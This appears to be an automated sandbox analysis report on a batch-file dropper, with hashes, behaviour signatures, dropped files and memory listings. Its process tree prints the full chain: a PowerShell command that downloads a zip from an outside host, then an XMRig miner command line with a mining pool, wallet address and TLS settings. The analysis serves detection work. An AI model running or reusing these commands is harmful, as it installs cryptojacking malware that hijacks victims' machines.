Analysis

  • max time kernel
    1796s
  • max time network
    1800s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231025-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231025-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-11-2023 03:58

General

  • Target

    tesy - Copy (14).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2288
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3104
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2644
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2736

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    6c4805e00673bef922d51b1a7137028f

    SHA1

    0eabb38482d1733dd85a2af9c5342c2cafcd41eb

    SHA256

    7af7d25fe7e3bb8b75bcffaa8573e2e9af7e7f70a840fa8bc0196d0ab396ecdd

    SHA512

    eb6dacb4e0da6f45028ebf65ebffdc6aecdb6a34a582bb69aa5836ef02a7115f6b500ef2dd6a2c2be994ec9d0cbbff564368724593666105d3d4475441830cc1

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zfj3e4w5.1f0.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test1.zip

    Filesize

    3.2MB

    MD5

    95452958f42b1b93f0c887f59d84d19f

    SHA1

    c861dc457d57471ab42879f49cc8fe171e7c9b1c

    SHA256

    dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

    SHA512

    96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    278B

    MD5

    080123b6eac4a332d3f2b11f6eb3aa54

    SHA1

    8f3d40eae881e3b871cff2aa85521d727ada2a64

    SHA256

    cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

    SHA512

    0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/1756-0-0x0000014F46460000-0x0000014F46482000-memory.dmp

    Filesize

    136KB

  • memory/1756-10-0x00007FF911850000-0x00007FF912311000-memory.dmp

    Filesize

    10.8MB

  • memory/1756-11-0x0000014F464A0000-0x0000014F464B0000-memory.dmp

    Filesize

    64KB

  • memory/1756-12-0x0000014F464A0000-0x0000014F464B0000-memory.dmp

    Filesize

    64KB

  • memory/1756-16-0x00007FF911850000-0x00007FF912311000-memory.dmp

    Filesize

    10.8MB

  • memory/2736-71-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-77-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-114-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-113-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-112-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-111-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-46-0x0000023FAA240000-0x0000023FAA260000-memory.dmp

    Filesize

    128KB

  • memory/2736-47-0x0000023FAA290000-0x0000023FAA2D0000-memory.dmp

    Filesize

    256KB

  • memory/2736-48-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-49-0x0000023FABB90000-0x0000023FABBB0000-memory.dmp

    Filesize

    128KB

  • memory/2736-50-0x0000023FABBB0000-0x0000023FABBD0000-memory.dmp

    Filesize

    128KB

  • memory/2736-51-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-52-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-53-0x0000023FABB90000-0x0000023FABBB0000-memory.dmp

    Filesize

    128KB

  • memory/2736-54-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-55-0x0000023FABBB0000-0x0000023FABBD0000-memory.dmp

    Filesize

    128KB

  • memory/2736-56-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-57-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-58-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-59-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-60-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-61-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-62-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-63-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-64-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-65-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-66-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-67-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-68-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-69-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-70-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-110-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-72-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-73-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-74-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-75-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-76-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-109-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-78-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-79-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-80-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-81-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-82-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-83-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-84-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-85-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-86-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-87-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-88-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-89-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-90-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-91-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-92-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-93-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-94-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-95-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-96-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-97-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-98-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-99-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-100-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-101-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-102-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-103-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-104-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-105-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-106-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-107-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/2736-108-0x00007FF6A7950000-0x00007FF6A8453000-memory.dmp

    Filesize

    11.0MB

  • memory/3104-29-0x000001293D6D0000-0x000001293D6E0000-memory.dmp

    Filesize

    64KB

  • memory/3104-18-0x00007FF911360000-0x00007FF911E21000-memory.dmp

    Filesize

    10.8MB

  • memory/3104-19-0x000001293D6D0000-0x000001293D6E0000-memory.dmp

    Filesize

    64KB

  • memory/3104-33-0x000001293D6B0000-0x000001293D6BA000-memory.dmp

    Filesize

    40KB

  • memory/3104-32-0x000001293F990000-0x000001293F9A2000-memory.dmp

    Filesize

    72KB

  • memory/3104-31-0x000001293D6D0000-0x000001293D6E0000-memory.dmp

    Filesize

    64KB

  • memory/3104-42-0x00007FF911360000-0x00007FF911E21000-memory.dmp

    Filesize

    10.8MB